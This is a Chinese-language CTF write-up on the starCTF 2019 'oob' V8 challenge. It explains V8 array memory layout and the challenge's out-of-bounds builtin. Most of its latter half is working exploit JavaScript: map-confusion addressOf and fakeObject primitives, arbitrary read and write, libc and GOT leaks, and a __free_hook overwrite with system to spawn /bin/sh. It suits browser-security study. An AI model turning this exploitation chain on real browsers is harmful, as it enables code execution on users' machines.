前言

准备开始学习浏览器漏洞的相关知识,其实之前就了解过一些关于浏览器的相关知识,这次也是整理加学习,准备把这些内容好好学习一下。

关键字: CTF pwn browser v8 *CTF starCTF oob

V8的搭建

v8的搭建主要的考验就是对于某种大家都懂的因素进行抗争,解决了这个问题后,其余都不是大问题。

安装时主要参考了:https://bbs.pediy.com/thread-258431.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
# /path/to/depot_tools改成depot_tools的目录

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
# /path/to/ninja改成ninja的目录


fetch v8
gclient sync

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

我的本地是ubuntu 18.04 server版,在安装时按照官方流程走,只遇到了一个问题:

1
subprocess.CalledProcessError: Command '['/usr/bin/python', '-u', 'tools/mb/mb.py', 'gen', '-f', 'infra/mb/mb_config.pyl', '-m', 'developer_default', '-b', 'x64.debug', 'out.gn/x64.debug']' returned non-zero exit status 1

这个时候sudo apt install pkg-config就可以解决了。除此之外没有什么需要注意的。

还有一个问题,就是在debug的版本中,貌似会有一些check,我在debug版本下运行oob题目中的d8会出现以下信息:

1
2
3
4
5
6
7
8
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 32
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsFixedDoubleArray()).
#
#
#
#FailureMessage Object: 0x7ffd40d77f00
==== C stack trace ===============================

在release版本下就可以运行了。

V8调试

运行d8时使用参数--allow-natives-syntax

1
2
3
%DebugPrint(obj) 输出对象地址

%SystemBreak() 触发调试中断主要结合gdb等调试器使用

基础知识学习

数组

JSArray和FixedArray

我在学习v8的时候,首先接触的概念就是数组,v8的数组是JSArray类型的,而数组的元素则是存储在一个Elements的指针里面,v8把这个结构叫做FixedArray。其结构如下:

1
2
3
4
5
6
7
8
9
/*JSArray
+------------+
+ map +
+ prototype +
+ elements + --> FixedArray
+ length +
+ properties +
+------------+
*/

在内存中查看,也可以得到类似结果:

image-20200531223916467

FixedArray也分为不同的种类,这里介绍两种:fast模式和slow模式

1
2
3
4
5
6
7
8
9
10
11
12
/*fast                                 slow
+---------+ +----------------------+
+ map + + map +
+ length + + NumberofElemnts +
+ value0 + +NumberOfDeletedElemnts+
+ value1 + + Capacity +
+ ... + + PrefixStart +
+---------+ + key +
+ value +
+ Details +
+----------------------+
*/

其中fast模式就是一般的模式,应对的是一般的数组情况。而slow模式则是应对另一种情况,例如var b[0xffff]=1,在这种情况下,用fast模式来存储显然需要大量的连续空间,去存储少量的数据,这时候,就用slow模式存储了。看看内存情况:

下图就是fast模式:

image-20200531223916467

而加入一个下标为0xffff的数据后就发生变化了:

image-20200531223854032

数组中元素存放形式

在v8中的数组元素的存放形式如下:

image-20200531221425461

在数组元素都是整数的情况下,我们定义var b=[1,2,3];,其内存布局如下

image-20200531223916467

其elements的内容如下,这个时候已经能看到elements的地址最低位就是1,需要我们手动减去1。

image-20200531222715386

可以看到整数的存放形式。接下来看下浮点数的存放形式:

image-20200531223421342

image-20200531223538160

这里的数字以IEEE 754浮点数来存放,http://www.binaryconvert.com/result_double.html?decimal=049046050可以在线转换浮点数和我们平时使用的数字,如上图中的1.2:

image-20200602151906871

最后看一下对象如何存储,其中obj是一个对象:

image-20200602151950479

可以看到对象在数组中就是以结尾+1的指针形式存在。

了解了这些之后,尝试做做这个题目吧。

starCTF2019-oob

1
2
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ~/browser_pwn/starctf2019-oob/Chrome/oob.diff

之后,按照正常流程编译。

分析

diif的文件中在Array对象中增加了一个oob函数:

1
2
3
4
5
6
7
8
9
10
11
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false); //增加了一个oob成员函数
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",

分析oob这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length(); //获取参数个数
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());//获取array的长度
+ if(len == 1){
+ //read //a.oob()---》读
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //读取第length个元素,即越界读一个元素
+ }else{
+ //write //a.oob(1)---》写
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());//越界写一个元素至第length个元素
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);

首先来验证我们对oob函数的功能,写一个test脚本:

1
2
3
4
5
6
7
8
var a=[1, 2];
%DebugPrint(a);
var num = f2i(a.oob());
console.log("leak: "+hex(num));
%SystemBreak();
a.oob(1);
console.log("oob write");
%SystemBreak();

我们在上述的test的脚本中测试oob()oob(1)的功能是否是我们分析的情况。

image-20200531225817635

可以看到%DebugPrint(a);接下来查看其elements中的内容:

image-20200602152549629

可以看到oob()函数泄露出的内容就是我们分析的那样。而在oob(1)之后我们查看一下内存情况:

image-20200531225935444

可以看到之前的指已经被覆盖成1的double浮点值了。

思路

在整数的数组中:

image-20200602152910170

可以看到JSArray的起始地址距离elements是比较远的。而浮点数和对象数组这两个地址是很近的:

image-20200602153029476

在这两种情况下,其实elements下面就是JSArray,而一个元素的溢出,使得数组的map值是可以被读和写的,而map值控制了这个数组很多信息,比如读取数组中的元素是按对象来读还是浮点数来读。如果我们可以将其混淆,就可以实现任意的对象的地址的读写。

任意对象地址读

就是用float数组的map去覆盖object数组的map,然后读object数组中的元素,就可以将对象的地址读出来。

1
2
3
4
5
6
7
8
function addressOf(object)
{
obj_array[0] = object;
obj_array.oob(float_map);
var object_addr = obj_array[0];
obj_array.oob(obj_map);
return f2i(object_addr) -1n;
}

任意对象构造

就是用object数组的map去覆盖float数组的map,然后读float数组中的元素,就可以得到对象。

1
2
3
4
5
6
7
8
function fakeObject(fake_addr)
{
float_array[0] = i2f(fake_addr);
float_array.oob(obj_map);
var fake_object = float_array[0];
float_array.oob(float_map);
return fake_object;
}

新手心路: 当我学这个东西,到这里我是懵逼的,因为我不知道为什么要构造这两个函数。后面整个学完后才了解原因,在下一小节,我结合实例说一下自己的认识。

构造fake object

1
2
3
4
5
6
7
8
9
10
var evil_array= [float_map, //fake map
0.0, // fake properties
i2f(0x111n), // fake elements
i2f(0x400000000n) //fake length
];

var leak_addr = addressOf(evil_array);
console.log("[+] leak obj addr: " + hex(leak_addr));
var fake_obj_addr = leak_addr+0x30n;
var fake_obj = fakeObject(fake_obj_addr+1n);

因为实际上,我们后面需要伪造一个fake object,而fake object中的属性也是以数组的形式存储的,即evil_array,那么我们需要能够操作fake object才能实现任意地址的读写:

fake object如何操作。我们构造的fake object是通过evil_array,而修改evil_array也只能修改我们构造的fake object中间的属性,想要操作fake object的element是不可能的。

而解决这个问题就需要我们第二个函数,任意对象的构造,如果此时evil_array的elements中value的地址传给了这个函数即我们构造的假对象内容,那么函数就会将其作为对象返回给我们,我们就可以操控fake object中的element内容了,这个时候我们只需要操作evil_array[2],即fake element,就可以改变element的地址,从同fake object而实现任意地址读写。

而要达到这个目的,就需要fake object的地址,这就需要了第一个函数:任意对象地址读,先得到evil_array的地址,之后将其和fake object的相对偏移相运算,就得到了fake object的地址。

任意地址读写

接下来的任意地址读写也是非常简单了,修改evil_array[2],到任意地址,然后就修改或查看fake_object[0],即可实现目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr)
{
evil_array[2] = i2f(addr-0x10n+1n);
var leak_data = f2i(fake_obj[0]);
return leak_data;
}

function write64(addr,data)
{
evil_array[2] = i2f(addr-0x10n+1n);
fake_obj[0] = i2f(data);
return;
}

但是这个题目其实这样的写操作是不行的,因为这个函数在写0x7f的时候貌似会出现问题,于是利用这个函数,操作DataView,进而实现任意地址的读写,这个具体的机制,目前我还在学习(捂脸苦笑)。

1
2
3
4
5
6
7
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
function dataview_write(addr,data)
{
write64(addressOf(data_buf)+0x20n,addr);
data_view.setFloat64(0,i2f(data),true);
}

后面的其实就是找到一个text的地址,之后查got表得到libc地址,最后改__free_hook为system,最后getshell。其实后面有很多东西我也不是很清楚,但是目前我就一知半解的先将其当作公式方法之类的。比如如何寻找text地址和如果触发free。就像刚开始学pwn,咱也不知道为啥改got表,就改就完了,后面慢慢了解。加油(菜鸡的自我安慰)。

后面的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var a = [1.1, 2.2];
var a_constructor_addr = addressOf(a.constructor);

console.log("[+] leak addr: " + hex(a_constructor_addr));
var text_addr = (read64(read64(a_constructor_addr + 0x30n)-1n +0x40n) >> 16n )- 0xad54e0n;
console.log("[+] text addr: " + hex(text_addr));
var sprintf_got = text_addr+0xd9aa28n;
console.log("[+] sprintf got addr: " + hex(sprintf_got));
var libc_addr = read64(sprintf_got) - 0x65000n;
console.log("[+] libc addr: " + hex(libc_addr));
var system_addr = libc_addr + 0x4f440n;
var free_hook_addr = libc_addr + 0x3ed8e8n;
console.log("[+] system addr: " + hex(system_addr));
console.log("[+] free hook addr: " + hex(free_hook_addr));

dataview_write(free_hook_addr,system_addr);

let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn), true); //16进制内容为/bin/sh

PWN!!!

虽然很菜,但是还是pwn了,开心:

image-20200602160446894

image-20200602160512211

写在最后

如有错误欢迎指正:sofr@foxmail.com

Comments

⬆︎TOP